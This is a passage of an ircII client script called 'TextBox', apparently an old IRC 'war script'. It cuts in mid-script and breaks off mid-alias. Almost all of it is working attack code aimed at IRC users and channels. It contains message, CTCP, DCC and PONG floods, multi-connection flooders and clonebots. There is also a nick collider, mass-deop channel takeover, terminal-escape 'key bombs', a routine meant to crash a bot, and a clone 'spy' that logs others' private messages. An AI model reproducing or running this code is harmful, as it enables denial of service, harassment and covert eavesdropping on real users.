} alias toolzbomb { ctcp $0 ACTION sees that you're running ToolZ... ctcp $0 ACTION laughs at you. sleep 1 quote PRIVMSG $0 :TOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZ quote PRIVMSG $0 :TOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZ quote PRIVMSG $0 :TOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZ quote PRIVMSG $0 :TOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZ quote PRIVMSG $0 :TOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZ echo *** ToolZ BombeD $0, you might get a lot of replies. } alias infinibomb { ctcp $0 ACTION sees that you're running iNFiNiTY... ctcp $0 ACTION laughs at you. sleep 1 quote PRIVMSG $0 :INFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITY quote PRIVMSG $0 :INFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITY quote PRIVMSG $0 :INFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITY quote PRIVMSG $0 :INFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITY quote PRIVMSG $0 :INFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITY echo *** iNFiNiTY BoMBeD $0, you might get a lot of replies. \(Also try /ajbomb for iNFiNiTY lamers\) } alias pingflood { quote PRIVMSG $0 :PINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPING quote PRIVMSG $0 :PINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPING quote PRIVMSG $0 :PINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPING quote PRIVMSG $0 :PINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPING quote PRIVMSG $0 :PINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPING echo *** PING flood sent to $0 } alias sedflood { quote PRIVMSG $0 :SEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSED quote PRIVMSG $0 :SEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSED quote PRIVMSG $0 :SEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSED quote PRIVMSG $0 :SEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSED quote PRIVMSG $0 :SEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSED echo *** CTCP SED flood sent to $0 } alias tsunami { EVAL repeatcmd 4 quote PRIVMSG $0 :$TSU echo *** Tsunami sent to $0 } alias ajbomb { if (rmatch($C #*)) {/EVAL ^assign OLDCHAN $C} { echo *** You aren't on a channel, so you'll be on #text ^assign OLDCHAN #text } if ([$1]) {^assign BOMBCHAN $1} {^assign BOMBCHAN #$randcrap(8)} //join $BOMBCHAN wait //channel $OLDCHAN ^assign -OLDCHAN EVAL ^on -join "$0 $BOMBCHAN" { //mode $1 +k #8[?3\;5h\(0 //leave $1 EVAL ^on join - "$0 $1" } //invite $0 $BOMBCHAN echo *** Auto-join bombed $0 ^assign -BOMBCHAN } alias ctcpflood { repeatcmd 18 ctcp $0 CLIENTINFOCLIENTINFO echo *** CTCP CLIENTINFO flooded $0, you might get a lot of replies... } EVAL ^set input_prompt [====== ] TextBox version $TBVERS loading... alias nickflood { EVAL ^assign OLDNICK $N @ NFCOUNTER = 0 while (NFCOUNTER < [$0]) { @ NFCOUNTER = NFCOUNTER + 1 EVAL quote NICK $randcrap(2)$rand(9999999) } ^assign -NFCOUNTER EVAL //nick $OLDNICK ^assign -OLDNICK } alias dccbomb { quote PRIVMSG $0 :DCC SEND trsiult9_1.zip $rand(99999999) 19 6667 quote PRIVMSG $0 :DCC SEND trsiult9_2.zip $rand(99999999) 19 6667 quote PRIVMSG $0 :DCC SEND trsiult9_3.zip $rand(99999999) 19 6667 quote PRIVMSG $0 :DCC SEND trsiult9_4.zip $rand(99999999) 19 6667 quote PRIVMSG $0 :DCC SEND trsiult9_5.zip $rand(99999999) 19 6667 quote PRIVMSG $0 :DCC SEND trsiult9_6.zip $rand(99999999) 19 6667 quote PRIVMSG $0 :DCC SEND trsiult9_7.zip $rand(99999999) 19 6667 quote PRIVMSG $0 :DCC SEND trsiult9_8.zip $rand(99999999) 19 6667 quote PRIVMSG $0 :DCC SEND trsiult9_9.zip $rand(99999999) 19 6667 quote PRIVMSG $0 :DCC SEND trsiult9_10.zip $rand(99999999) 19 6667 quote PRIVMSG $0 :DCC SEND trsiult9_11.zip $rand(99999999) 19 6667 quote PRIVMSG $0 :DCC SEND trsiult9_12.zip $rand(99999999) 19 6667 quote PRIVMSG $0 :DCC SEND trsiult9_13.zip $rand(99999999) 19 6667 echo *** DCC autoget bomb sent to $0 } alias dccflood { EVAL quote PRIVMSG $0 :DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999 ) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99) EVAL quote PRIVMSG $0 :DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999 ) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99) EVAL quote PRIVMSG $0 :DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999 ) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99) EVAL quote PRIVMSG $0 :DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999 ) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99) EVAL quote PRIVMSG $0 :DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999 ) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99) echo *** DCC CHAT flood sent to $0 } alias dcctsunami { quote PRIVMSG $0 :DCC SEND $TSU$rand(9) $rand(9) $rand(9) quote PRIVMSG $0 :DCC SEND $TSU$rand(9) $rand(9) $rand(9) quote PRIVMSG $0 :DCC SEND $TSU$rand(9) $rand(9) $rand(9) quote PRIVMSG $0 :DCC SEND $TSU$rand(9) $rand(9) $rand(9) echo *** DCC TSUNAMI sent to $0 } alias pongflood { repeatcmd 4 EVAL /quote PONG $TSU :$0 echo *** PONG flood sent to $0 } alias fakeinvite { if ([$1]) { ^assign INVITESTR $strip(# $1) ^assign INVITESTR \#${INVITESTR} quote INVITE $0 $INVITESTR ^assign -INVITESTR echo *** Fake invited $0 to channel $1 } {/echo *** /fakeinvite } } alias vladbomb { if ([$0]) { echo *** Bombing $0 (bot will die with 'SIGSEGV - core dumped' if this works) ^quote PRIVMSG $0 :note create note all EVAL ^on ^notice "$0 *" { ^dcc chat $0 ^msg =$0 note dell EVAL ^on notice - "$0 *" } } } alias flood { if ([$0]) { if ([$1]) {^assign SR $1} {^assign SR $S} if ([$2]) {^assign PT $2} {^assign PT 6667} ^set input_prompt Flooding $0... ^set display off echo *** Creating connections... \(using server ${SR}, port $PT\) EVAL ^assign FB[0] $connect($SR $PT) EVAL ^assign FB[1] $connect($SR $PT) EVAL ^assign FB[2] $connect($SR $PT) ^set display on if ((FB[0] > 0)&&(FB[2] > 0)) { echo *** Signing on... ^dcc raw $FB[0] $SR NICK $randcrap(9) ^dcc raw $FB[1] $SR NICK $randcrap(9) ^dcc raw $FB[2] $SR NICK $randcrap(9) ^dcc raw $FB[0] $SR USER $randcrap(8) $HOSTROOT $SR :$CJUNKSTR ^dcc raw $FB[1] $SR USER $randcrap(8) $HOSTROOT $SR :$CJUNKSTR ^dcc raw $FB[2] $SR USER $randcrap(8) $HOSTROOT $SR :$CJUNKSTR sleep 2 echo *** Flooding... (connections will die when flooding is finished) sleep 3 if (ischannel($0)) { ^dcc raw $FB[0] $SR JOIN $0 ^dcc raw $FB[1] $SR JOIN $0 ^dcc raw $FB[2] $SR JOIN $0 } foreach FB XX { EVAL ^timer 3 ^dcc raw $FB[$XX] $SR NOTICE $0 :$JUNKSTR EVAL ^timer 6 ^dcc raw $FB[$XX] $SR NOTICE $0 :$JUNKSTR EVAL ^timer 9 ^dcc raw $FB[$XX] $SR NOTICE $0 :$JUNKSTR EVAL ^timer 12 ^dcc raw $FB[$XX] $SR NOTICE $0 :$JUNKSTR EVAL ^timer 16 ^dcc raw $FB[$XX] $SR NOTICE $0 :$JUNKSTR } EVAL ^timer 20 ^dcc raw $FB[0] $SR QUIT :$TSU EVAL ^timer 20 ^dcc raw $FB[1] $SR QUIT :$TSU EVAL ^timer 20 ^dcc raw $FB[2] $SR QUIT :$TSU } {/echo *** Error connecting to $SR} ^assign -FB[0] ^assign -FB[1] ^assign -FB[2] ^assign -SR ^assign -PT ^set -input_prompt } { echo *** /flood [] [] echo *** If is left out, yours will be used. If is left out, port 6667 will be used. } } alias takeover.listmdop { quote MODE $0 -oooo $1 $2 $3 $4 if ([$5]) {^takeover.listmdop $0 $5-} } alias takeover.activate { echo *** Takeover for channel $0 activated! Massdeopping... ^on ^who * {/if (([$1] != [$N])&&(rmatch($2 *@*))) {^assign MDOPZ $1 ${MDOPZ}}} //^who -chops $0 wait ^on who - * takeover.listmdop $0 $MDOPZ ^assign -MDOPZ } alias takeover { if ([$0]) { if ([$0] == [OFF]) { ^assign TBSTAT [TextBox] echo *** Takeover mode is now OFF ^assign TAKEOVER * ^statup } { if (ischannel($0)) {^assign TAKEOVER $0} {^assign TAKEOVER $C} echo *** Takeover mode is now ON for channel $TAKEOVER ^assign TBSTAT [TAKEOVER: ${TAKEOVER}] [TextBox] ^statup if (ischanop.tb($N $TAKEOVER)) {^takeover.activate $TAKEOVER} } } { if ([$TAKEOVER] == [*]) {/echo *** Takeover mode is now OFF} {/echo *** Takeover mode is now ON for channel $TAKEOVER} echo *** /takeover  to switch on, /takeover off to switch off. } } ^assign KILLNICK * alias ckill { if ([$KILLER] == [ON]) { ^dcc raw $KILLSOCKET $KILLHOST NICK $0 ^assign KILLNICK $0 } {/echo *** Collider is not on.} } alias killhost { if (rmatch($0 *.*)) { ^assign KILLHOST $0 if ([$1]) {^assign KILLPORT $1} {^assign KILLPORT 6667} if ([$ASDFG] != [ASDFG]) {/echo *** KILLHOST is now $0 \(port: ${KILLPORT}\)} ^assign -ASDFG } { echo *** KILLHOST is currently ${KILLHOST} \(port: ${KILLPORT}\) echo *** /killhost [] } } alias collide.killons { EVAL ^on #dcc_raw 45 - "$KILLSOCKET $KILLHOST D *Nickname is already*" EVAL ^on #dcc_raw 45 - "$KILLSOCKET $KILLHOST C*" EVAL ^on #dcc_raw 45 - "$KILLSOCKET $KILLHOST D *PING*" } alias collide.makeons { EVAL ^on #^dcc_raw 45 "$KILLSOCKET $KILLHOST D *PING*" {^dcc raw $0 $1 NICK $encode($rand(9999))$rand(9)} EVAL ^on #^dcc_raw 45 "$KILLSOCKET $KILLHOST D *Nickname is already*" { if ([$KILLNICK] != [*]) {/echo *** $1 could not kill ${KILLNICK}} ^assign KILLNICK * } EVAL ^on #^dcc_raw 45 "$KILLSOCKET $KILLHOST C*" { ^collide.killons ^assign -KILLSOCKET if ([$KILLER] == [ON]) {^collide.connect} } } alias collide.connect { if (KILLSOCKET > 0) {/echo *** You already have a collider connected!} { ^assign KILLSOCKET $connect($KILLHOST $KILLPORT) if (KILLSOCKET > 0) { echo *** Killer connected to ${KILLHOST} ^collide.makeons ^assign KILLER ON ^dcc raw $KILLSOCKET $KILLHOST NICK $encode($CJUNKSTR)$randcrap(0) ^dcc raw $KILLSOCKET $KILLHOST USER $COLLIDEUNAME $HOSTROOT $KILLHOST :$tolower($encode($COLLIDEUNAME)) } { echo *** Error connecting to ${KILLHOST}, collider switched off. ^assign -KILLSOCKET ^assign KILLER OFF ^statup ^assign -COLLIDEUNAME } } } alias collide { if (match($0 ON OFF JOIN HELP KILL)) { if ([$0] == [KILL]) {/ckill $1-} if ([$0] == [ON]) { if ([$KILLER] != [ON]) { ^assign COLLIDEUNAME $randcrap(8) ^collide.connect } {/echo *** Collide is already on.} ^statup } if ([$0] == [OFF]) { if ([$KILLER] == [ON]) { ^dcc close raw $KILLSOCKET ^collide.killons ^assign -KILLSOCKET echo *** Collider disconnected. ^assign KILLER OFF ^assign -COLLIDEUNAME } {/echo *** Collider is already off.} ^statup } if ([$0] == [JOIN]) { if (match($1 ON OFF)) {^assign KILLJOIN $onoff($1)} echo *** Collide on join is now ${KILLJOIN} } if ([$0] == [HELP]) { echo *** Collider is now ${KILLER} echo *** /collide - Switch nick collider on/off echo *** /collide join - Toggle kill attempt on join echo *** /collide help - Displays this message } } {/collide help} } alias keybomb { if ([$0] == [list]) { echo *** Key bombs (/keybomb to use, must be a channel op) : echo *** die .............................. Really fuck up a channel echo *** satan ............................ Flashing '!!S4T4N!!' sign echo *** fire ............................. Flashing 'FIRE!' sign echo *** sz ............................... Zmodem startup echo *** cls .............................. Clear screen echo *** font ............................. 8-bit data mode echo *** reset ............................ Reset terminal echo *** invert ........................... Reverse mode echo *** tsunami .......................... Tsunami key echo *** Use /keybomb un to remove, or use /clearmode. These echo *** fuck up the whole channel (you too) so be careful. } {^kb$0 $1-} } EVAL ^set input_prompt [======- ] TextBox version $TBVERS loading... alias kbdie //mode $C +k #8[?3\;5h\(0 alias kbfont //mode $C +k \(0 alias kbinvert //mode $C +k [?3\;5h alias kbsz //mode $C +k **B00 alias kbcls //mode $C +k  alias kbfire //mode $C +k [41\;5mFIRE! alias kbsatan //mode $C +k [41\;5m!!S4T4N!! alias kbreset //mode $C +k  alias kbtsunami //mode $C +k  alias kbundie //mode $C -k #8[?3\;5h\(0 alias kbunfont //mode $C -k \(0 alias kbuninvert //mode $C -k [?3\;5h alias kbunsz //mode $C -k **B00 alias kbuncls //mode $C -k  alias kbunfire //mode $C -k [41\;5mFIRE! alias kbunsatan //mode $C -k [41\;5m!!S4T4N!! alias kbunreset //mode $C -k  alias kbuntsunami //mode $C -k  alias kb /echo *** Try /keybomb list for a list of +k bombs. alias tsusignoff /EVAL signoff $TSU $TSU $TSU $TSU $TSU $TSU $TSU $TSU $TSU alias flash { If ([$0]) { ^Userhost $0 -CMD if ([$3]) { if ([$4] != []) { exec flash $strip(~ $3)@$4 echo *** Flashed $0 \($strip(~ $3)@$4\) } {/echo *** Cannot find $0} } } {/echo *** You must specify a nick.} } alias listmassflash { exec -name flash $FLASHCOMMAND $1 wait %flash echo *** Flashed $0 \($1\) if ([$2]) {^listmassflash $2-} } alias massflash { ^on ^who * {/if (([$1] != [$N])&&([$1] != [$GBNICK])) {^assign FLASHLOSERS $1 $strip(~ $3)@$4 ${FLASHLOSERS}}} ^who * wait ^on who - * ^listmassflash $FLASHLOSERS ^assign -FLASHLOSERS } # --------------------------------------------------------------------------- alias cloneserv.rmserver { if ([$0]) { if (rmatch($CSERV[$0] *.*)) { echo *** Server $CSERV[$0] removed. ^assign -CSERV[$0] @ MAXNUM = 0 foreach CSERV XU { if (XU > MAXNUM) {/EVAL @ MAXNUM = $XU} } EVAL @ MVCOUNTER = $0 if (MVCOUNTER != [${MAXNUM+1}]) { while (MVCOUNTER < MAXNUM) { ^assign CSERV[$MVCOUNTER] $CSERV[${MVCOUNTER+1}] @ MVCOUNTER = MVCOUNTER + 1 } ^assign -CSERV[$MAXNUM] } ^assign -MVCOUNTER ^assign -MAXNUM } } } alias cloneserv.addserver { @ MAXNUM = 0 foreach CSERV XU { if (XU > MAXNUM) {/EVAL @ MAXNUM = $XU} } @ MAXNUM = MAXNUM + 1 ^assign CSERV[$MAXNUM] $0 ^assign -MAXNUM } alias cloneserv { if (rmatch($0 *.*)) { if (rmatch($0 -*.*)) { ^assign SERVN N foreach CSERV XX { if ([-$CSERV[$XX]] == [$0]) {^assign SERVN $XX} } if ([$SERVN] != [N]) {^cloneserv.rmserver $SERVN} {/echo *** Server is not in clonebot server list.} ^assign -SERVN } { ^assign DUPE N foreach CSERV XX { if ([$CSERV[$XX]] == [$0]) {^assign DUPE Y} } if ([$DUPE] == [N]) { ^cloneserv.addserver $0 echo *** Server $0 added to clonebot server list. } {/echo *** Server $0 is already in your clonebot server list.} ^assign -DUPE } } { if (match($0 LIST CLEAR)) { if ([$0] == [LIST]) { ^assign LISTED N foreach CSERV XX { echo *** Clonebot server #${XX}: $CSERV[$XX] ^assign LISTED Y } if ([$LISTED] == [N]) {/echo *** Clonebot server list is empty.} ^assign -LISTED } if ([$0] == [CLEAR]) { foreach CSERV XX {^assign -CSERV[$XX]} echo *** Clonebot server list is now empty. } } { echo *** /cloneserv - Add a server to list echo *** /cloneserv - - Remove a server from list echo *** /cloneserv list - List servers in list echo *** /cloneserv clear - Clear server list echo *** The clonebot server list is saved when you /saveconf } } } alias cb.getcc { ^assign IN_CC1 $"Number of clonebots to create >>" if (IN_CC1 > 0) { ^assign IN_CC $IN_CC1 ^assign -IN_CC1 } {^cb.getcc} } alias cb { ^cb.getcc ^assign IN_CBSRV $"Server to use ( to pick each from /cloneserv list) >>" ^assign IN_CNICK $"First part of clonebot nicks ( for junk (random) nicks) >>" ^assign IN_CUNAME $"Username to TRY to signon under ( for junk) >>" ^assign IN_CIRCNAME $"Description (IRCNAME) ( for none) >>" if ([$IN_CBSRV] == []) {^assign IN_CBSRV random} if ([$IN_CNICK] == []) {^assign IN_CNICK random} if ([$IN_CUNAME] == []) {^assign CLONEUNAME NONE} {^assign CLONEUNAME $IN_CUNAME} /clonebots clone $IN_CC $IN_CBSRV $IN_CNICK $IN_CIRCNAME ^assign CLONEUNAME NONE ^assign -IN_CC ^assign -IN_CBSRV ^assign -IN_CNICK ^assign -IN_CIRCNAME ^assign -IN_CUNAME } assign CLONEUNAME NONE assign CLONEPORT 6667 alias clonhelp { echo -- -------------------------------------------------------------------- -- echo -- TextBox Clonebot Creator -- echo -- -------------------------------------------------------------------- -- echo -- /clonebots , where command is any of the following: -- echo -- clone [] -- echo -- status -- echo -- kill -- echo -- whois -- echo -- -------------------------------------------------------------------- -- echo -- Clone creates new clonebots on . Substituting -- echo -- 'random' for the server name causes the servers to be chosen from -- echo -- CSERV array at the start of the script. Edit this array if you want -- echo -- to change the choices. Substituting 'random' for the nick-prefix -- echo -- causes the bots to have random garbage nicks. -- echo -- -- echo -- Status displays the bots online, their servers, sockets, etc. -- echo -- -- echo -- Kill disconnects a clonebot. Kill 'all' disconnects all clonebots -- echo -- and resets the clonebot counter. -- echo -- -- echo -- Whois displays information about one of your bots from it's nick. -- echo -- -- pause echo -- Type '/assign CLONEUNAME ' to set a special username for -- echo -- the clonebots to signon under (setting to NONE defaults to random). -- echo -- '/assign CLONEPORT ' sets the port, default is 6667. -- echo -- -------------------------------------------------------------------- -- echo -- /cb provides a user-friendly prompted interface to this command. -- echo -- /ck is a shortcut to /clonebots kill all. -- echo -- -------------------------------------------------------------------- -- echo -- To control the clonebots, use the /clone command. -- echo -- -------------------------------------------------------------------- -- } @ NUMCLONES = 0 on ^dcc_raw "% % C*" { if ([$CLONESOCKET[$CLONENUM[$0]]] == [$0]) { echo *** Clonebot #$CLONENUM[$0] \($CLONENICKS[$CLONENUM[$0]]\) has been disconnected by server $1 ^assign -CLONES[$CLONENUM[$0]] ^assign -CLONESOCKET[$CLONENUM[$0]] ^assign -CLONESERV[$CLONENUM[$0]] ^assign -CLONENICKS[$CLONENUM[$0]] ^assign -CLONESPY[$CLONENUM[$0]] EVAL ^on dcc_raw - "$0 $1 D *" ^assign -CLONENUM[$0] } } on ^dcc_raw "% % D *PING*" {^dcc raw $0 $1 PONG :$1} # CLONESPY[XX] record = [P]ublic p[R]ivate [N]otices m[O]des [K]icks # [J]oins/signoffs/leaves n[I]ck changes [M]isc [C]TCP # Levels: [PU]blic [PR]ivate [NO]tices [MO]des [K]icks [J]oins [NI]ck [MI]sc # [C]tcp alias cspyadd {/if ([$index($1 $CLONESPY[$0])] == -1) {^assign CLONESPY[$0] $1${CLONESPY[$0]}}} alias cspyrm {/EVAL ^assign CLONESPY[$0] $strip($1 $CLONESPY[$0])} alias clonespyset { if ([$CLONES[$0]] == [ONLINE]) { if (rmatch($1 PU*)) {^cspyadd $0 P} if (rmatch($1 -PU*)) {^cspyrm $0 P} if (rmatch($1 PR*)) {^cspyadd $0 R} if (rmatch($1 -PR*)) {^cspyrm $0 R} if (rmatch($1 NO*)) {^cspyadd $0 N} if (rmatch($1 -NO*)) {^cspyrm $0 N} if (rmatch($1 MO*)) {^cspyadd $0 O} if (rmatch($1 -MO*)) {^cspyrm $0 O} if (rmatch($1 K*)) {^cspyadd $0 K} if (rmatch($1 -K*)) {^cspyrm $0 K} if (rmatch($1 J*)) {^cspyadd $0 J} if (rmatch($1 -J*)) {^cspyrm $0 J} if (rmatch($1 NI*)) {^cspyadd $0 I} if (rmatch($1 -NI*)) {^cspyrm $0 I} if (rmatch($1 MI*)) {^cspyadd $0 M} if (rmatch($1 -MI*)) {^cspyrm $0 M} if (rmatch($1 C*)) {^cspyadd $0 C} if (rmatch($1 -C*)) {^cspyrm $0 C} } {/echo *** Error: Clone #$0, no such clone.} } alias cspylevs { if ([$CLONESPY[$0]] == [_]) {^assign FUNCTION_RETURN NONE} { if (index(M $CLONESPY[$0]) != -1) {^assign SLEVS MISC ${SLEVS}} if (index(I $CLONESPY[$0]) != -1) {^assign SLEVS NICK ${SLEVS}} if (index(J $CLONESPY[$0]) != -1) {^assign SLEVS JOIN/LEAVE/SIGNOFF ${SLEVS}} if (index(K $CLONESPY[$0]) != -1) {^assign SLEVS KICK ${SLEVS}} if (index(O $CLONESPY[$0]) != -1) {^assign SLEVS MODE ${SLEVS}} if (index(N $CLONESPY[$0]) != -1) {^assign SLEVS NOTICE ${SLEVS}} if (index(R $CLONESPY[$0]) != -1) {^assign SLEVS PRIVATE ${SLEVS}} if (index(P $CLONESPY[$0]) != -1) {^assign SLEVS PUBLIC ${SLEVS}} if (index(C $CLONESPY[$0]) != -1) {^assign SLEVS CTCP ${SLEVS}} ^assign FUNCTION_RETURN $SLEVS ^assign -SLEVS } } alias cshelp { echo -- -------------------------------------------------------------------- -- echo -- TextBox DCC RAW clonebot spy controller -- echo -- -------------------------------------------------------------------- -- echo -- /clonespy -- echo -- or just /clonespy to see status -- echo -- -- echo -- Levels: ALL(sets all levels) PUblic PRivate NOtice MOde Kick -- echo -- Join/leave/signoff NIck MIsc Ctcp NONE(removes all levels) -- echo -- Only the letters shown capitalized are necessary. adds a -- echo -- level, - removes. -- echo -- -- echo -- When clonebots in spy mode receive a message, it is shown like this: -- echo -- [1:Bot1] hi there -- echo -- \\ \\ \\ -- echo -- Bot# \\ Message -- echo -- Bot nick -- echo -- -- echo -- The Misc level is for anything significant that isn't covered by any -- echo -- of the other levels. Right now this is only used for who lists. -- echo -- '/clone who #channel' will get you a who list if you -- echo -- have Misc set. -- echo -- -- echo -- Be careful when flooding with spy modes set, or the clones may -- echo -- report the flood right back to you. Clonebots do no flood filtering. -- echo -- -------------------------------------------------------------------- -- } EVAL ^set input_prompt [======= ] TextBox version $TBVERS loading... alias clonespy { if ([$0]) { if ([$0] == [ALL]) {/foreach CLONES VV {/clonespy $VV $1-}} { if ([$CLONES[$0]] == [ONLINE]) { if ([$1] == [ALL]) { ^assign CLONESPY[$0] PRNOKJIMC EVAL ^on ^dcc_raw "$CLONESOCKET[$0] $CLONESERV[$0] D *" {/clonespyparse $0-} } { if ([$1] == [NONE]) { ^assign CLONESPY[$0] _ EVAL ^on dcc_raw - "$CLONESOCKET[$0] $CLONESERV[$0] D *" } { ^clonespyset $0 $1 EVAL ^on ^dcc_raw "$CLONESOCKET[$0] $CLONESERV[$0] D *" {/clonespyparse $0-} } } echo *** Clone #$0 spy levels now: $cspylevs($0) } {/echo *** Error: Clone #$0, no such clone.} } } {/cshelp} if ([$2]) {/clonespy $0 $2-} } alias clonespyparse.messageparse { if ([$4] == [PRIVMSG]) { if (rmatch($6- **)) { if (index(C $CLONESPY[$CN]) != -1) {/echo [${CN}:${CLONENICKS[$CN]}] CTCP "$strip( : $6-)" received from $nickonly($strip(: $3)) to $5} } { if (rmatch($5 #*)) { if (index(P $CLONESPY[$CN]) != -1) {/echo [${CN}:${CLONENICKS[$CN]}] <$nickonly($strip(: $3)):$5> $strip(: $6-)} } { if (index(R $CLONESPY[$CN]) != -1) {/echo [${CN}:${CLONENICKS[$CN]}] *$nickonly($strip(: $3))* $strip(: $6-)} } } } if ([$4] == [NOTICE]) { if (rmatch($6- **)) { if (index(C $CLONESPY[$CN]) != -1) {/echo [${CN}:${CLONENICKS[$CN]}] CTCP "$strip( : $6-)" reply received from $nickonly($strip(: $3))} } { if (rmatch($5 #*)) { if (index(P $CLONESPY[$CN]) != -1) {/echo [${CN}:${CLONENICKS[$CN]}] -$nickonly($strip(: $3)):$5\- $strip(: $6-)} } { if (index(N $CLONESPY[$CN]) != -1) {/echo [${CN}:${CLONENICKS[$CN]}] -$nickonly($strip(: $3))- $strip(: $6-)} } } } } alias clonespyparse { if ([$CLONES[$CLONENUM[$0]]] == [ONLINE]) { EVAL @ CN = $CLONENUM[$0] if (rmatch($3 *PING*)) {^dcc raw $0 $1 PONG :$CLONESERV[$CN]} ^clonespyparse.messageparse $0- if ((index(I $CLONESPY[$CN]) != -1)&&([$4] == [NICK])) {/echo [${CN}:${CLONENICKS[$CN]}] $nickonly($strip(: $3)) is now known as $strip( : $5)} if (([$4] == [JOIN])&&(index(J $CLONESPY[$CN]) != -1)) {/echo [${CN}:${CLONENICKS[$CN]}] $strip(: $3) has joined channel $strip(: $5)} if (([$4] == [MODE])&&(index(O $CLONESPY[$CN]) != -1)) {/echo 